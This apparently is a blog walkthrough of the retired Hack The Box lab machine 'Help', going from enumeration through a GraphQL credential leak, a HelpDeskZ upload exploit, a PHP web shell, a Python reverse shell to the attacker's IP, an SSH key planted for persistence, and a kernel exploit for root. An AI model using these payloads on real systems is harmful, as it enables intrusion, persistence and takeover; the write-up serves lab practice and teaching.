Htb Help
by jake
This week we are taking a look at the retired Hack The Box machine Help (Easy difficulty)
We start off our initial enumeration with an nmap scan:
root@kali: nmap -sC -sV -oN nmap 10.10.10.121
# Nmap 7.70 scan initiated Thu Mar 14 10:51:12 2019 as: nmap -sC -sV -oN nmap 10.10.10.121
Nmap scan report for 10.10.10.121
Host is up (0.23s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 14 10:51:42 2019 -- 1 IP address (1 host up) scanned in 30.14 seconds
Looks like we have 3 things open. As always, we leave SSH until we have some credentials or keys to connect with so move on to the website on port 80:
Nothing special here, just a default Apache start page. We are going to have to enumerate more to see if there are any websites hosted. TO do that we use gobuster:
root@kali: gobuster -u http://10.10.10.121 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -o gobuster.log -x txt,html,php
....
While that runs lets also take a look at the Node.js Express Framework site running on port 3000:
Nice. Looks like we could potentially have a user called “shiv” and we can give a query to get credentials? Sounds a bit cryptic so we need to do some research. After a few results from a search for Express Framework applications with query parameters we come across Graphql
Trying the url http://10.10.10.121:3000/graphql results in a hit:
We can see that we are missing a GET query so we put a test one in to see if we get a message that might help tell us what it is expecting:
Fine. Let’s take it literally and use the word query
Looks like we are on the right track. From here we start researching Graphql vulnerabilities and we end up coming across a successful bug bounty on hackerone that mentions data leaking, this combined with the fact that Shiv was told to “query” for credentials leads us to suspect we are in the right place. SO we start to research the query syntax as just giving generic values does not seem to work:
After a bit more research we find some documentation on the Graphql website about serving the API over HTTP and how to call it Looks like we pass a JSON string directly to the query parameter.
Following what the bug bounty hackers entered as their query we start off with:
http://10.10.10.121:3000/graphql?query={users}
We are getting closer… Follwing the error messages we finally end up with some working syntax:
http://10.10.10.121:3000/graphql?query={users{username,password}}
username "helpme@helpme.com"
password "5d3c93182bb20f07b994a7f617e99cff"
From past experience this looks like an MD5 hash, putting it into any online MD5 “cracker” such as crackstation.net gives us a hit:
5d3c93182bb20f07b994a7f617e99cff : godhelpmeplz
Now we have a username and password we need somewhere to use it. Looking back at our gobuster results we see that we have found some directories to try:
/index.html (Status: 200)
/support (Status: 301)
/javascript (Status: 301)
/server-status (Status: 403)
The most likely candidate from the list is /support so we heard over there to see what we have
Trying the credentials from earlier we are able to log in to the system. There is not a lot of functionality there so as a just in case we run another gobuster against /support to see if we can get any information about this helpdeskz application:
root@kali: gobuster -u http://10.10.10.121/support -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -o gobuster-support.log -x txt,html,php
/images (Status: 301)
/index.php (Status: 200)
/uploads (Status: 301)
/css (Status: 301)
/includes (Status: 301)
/js (Status: 301)
/readme.html (Status: 200)
/views (Status: 301)
/captcha.php (Status: 200)
/LICENSE.txt (Status: 200)
/UPGRADING.txt (Status: 200)
/controllers (Status: 301)
While that runs, we notice that we are able to create support tickets which include an attachment component, using searchsploit we find that there are bot unauthenticated and authenticated file upload vulnerabilities for certain versions. Quickly scanning back to the /support gobuster results we see a result for /UPGRADING.txt:
We can see that the server is running version 1.0.2 which is vulnerable to our searchsploit results.
root@kali: searchsploit helpdeskz
----------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path (/usr/share/exploitdb/)
----------------------------------------------------------------------------------------------- ----------------------------------------
HelpDeskZ 1.0.2 - Arbitrary File Upload | exploits/php/webapps/40300.py
HelpDeskZ < 1.0.2 - (Authenticated) SQL Injection / Unauthorized File Download | exploits/php/webapps/41200.py
----------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result
Arbitrary file upload looks good, that could allow us to upload a shell, so we start by mirroring the script to our current working directory with searchsploit -m 40300
and take a look.
Reading through the help text blurb at the top of the file, we get the usage info as well as how to perform the attack. Looks like we need to work out where the files will be uploaded to and then it loops and guesses the file name based on the current time and original file name.
Luckily for us the additional gibuster might have paid off, it has found a /uploads directory. To fully understand how the exploit works and if we need to change any code the help text also provides a link to where the vulnerable code in the source application exists.. On line 141 of the submit_ticket_controller.php file
Looking at the code, the application takes the file, renames it with an MD5 string and saves it to [UPLOAD_DIR]/tickets/
Now that we have the knowledge of everything we need, its time to figure out a payload. Since this is a php web application it might be able to use our cmd.php script bundled with seclists and is a common web shell:
<?php echo system($_REQUEST['cmd']); ?>
We set up the submit ticket form ready to go with random data to fill the required fields, enter the captcha so everything is ready to go.
Before we submit the ticket we run the python exploit so that hopefully it will be running and generate the same MD5 time code as the application:
root@kali: python 40300.py http://10.10.10.121/support/uploads/tickets/ thoseguys.php
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
found!
http://10.10.10.121/support/uploads/tickets/7dfad97ac10a39c7e13bf16a79f893a4.php
If (like us) you are not in the GMT time zone, you may need to go to the users preferences and select the timezone in the application to match your time zone so the MD5 hashing matches
Once we get a hit we can browse there and use our ?cmd= query string to run commands against the system.
Having a quick poke around at applications that can give us a shell we see with which python that the server has python installed and we are able to use our standard python reverse shell code:
?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.22",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Set up a matching nc listener (nc -nlvp 443
) and we get a shell. enter python -c 'import pty; pty.spawn(“/bin/bash”)
to upgrade the shell and we are now on the box as the help user:
help@help:~$
From here we are able to read the user.txt flag and it is time to enumerate the box and find a way to become root.
As we normally do once we have access to the box we look at interesting files on the machine as well as the server kernel version etc. In this case we notice that the kernel running is not up to date:
help@help:~$ uname -a
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Using searchsploit
again we see that this version of the Linux kernel is vulnerable to a local privilege escalation vulnerability. This sounds just like what we are looking for:
help@help:~$ searchsploit linux kernel 4.4.0-116
----------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path (/usr/share/exploitdb/)
----------------------------------------------------------------------------------------------- ----------------------------------------
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | exploits/linux/local/44298.c
----------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result
So we grab a local copy with searchsploit -m 44298
and compile it with gcc 44298.c -o thoseguys
Now that we have a compiled binary form we need to get it on the box. Luckily file transfers are easy with the tools built in to Linux (wget
) So locally in our directory we spin up a temporary web server with python -m SimpleHTTPServer 80
and back on the box use wget
to download the file somewhere
help@help:~$ wget 10.10.14.22/thoseguys -O /tmp/thoseguys
This throws an invalid argument error… could be our pseudo shell, we know that ssh is on the box, so lets upgrade to a better shell with ssh.
Back on our local box, we generate some ssh keys with ssh-keygen:
root@kali: ssh-keygen -f thoseguys
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in thoseguys.
Your public key has been saved in thoseguys.pub.
...
Chmod the private key chmod 600 thoseguys
and then get the contents of the public key with cat thoseguys.pub
Copy the contents of the public key and in our reverse shell, create a .ssh directory in the users home directory and echo it out into an authorized_keys file:
mkdir -p /home/help/.ssh
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/iyUSYgZPfiQ5n0j77yyOR/zFCJeBFA4rwVmGAxwdmReSR1CnlkRkdLy4vsvixZYqyOjjoUX8nSg8wBVnDF6bkUEn1m4eYV3mOfMiuNBaglhaCnigG4MBnrd8t0D7l/lg5oDUfJWAS/TiepqLuQODO6tXKhD1/OwurxYWEj1d4KFRNq5depJom2BEiyCLB5YCpKK79hX5REqe6RmqlASY6TC707lxWeq0upQ5scYxO0veU/E0YyMLi7gwvPiJryJ3f/VnoMQT93eRyxNWlCwAAdRM6I46eB3jacQdpxnT+RKOiIrnlV7Opx6UVYdPIGphE/qO+fHGxrjWhEaDYli3 root@kali' > /home/help/.ssh/authorized_keys
chmod 600 /home/help/authorized_keys
We are now able to connect directly to the box through ssh:
root@kali: ssh -i thoseguys help@10.10.10.121
The authenticity of host '10.10.10.121 (10.10.10.121)' can't be established.
ECDSA key fingerprint is SHA256:hObUCDbNmiPilZ/0rchuxdSfRB7uSKrmk/4TjE5nCnk.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.121' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-116-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
You have new mail.
Last login: Fri Jan 11 06:18:50 2019
help@help:~$ ssh in as help
Now when we run the exploit we get a root shell:
help@help:/tmp$ ./thoseguys
task_struct = ffff88003aabb800
uidptr = ffff8800370bb684
spawning root shell
root@help:/tmp#
root@help:/tmp# cat /root/root.txt
b7fe6[REDACTED]ddb98
Nice and fairly straight forward box.
tags: htb - walkthrough - Help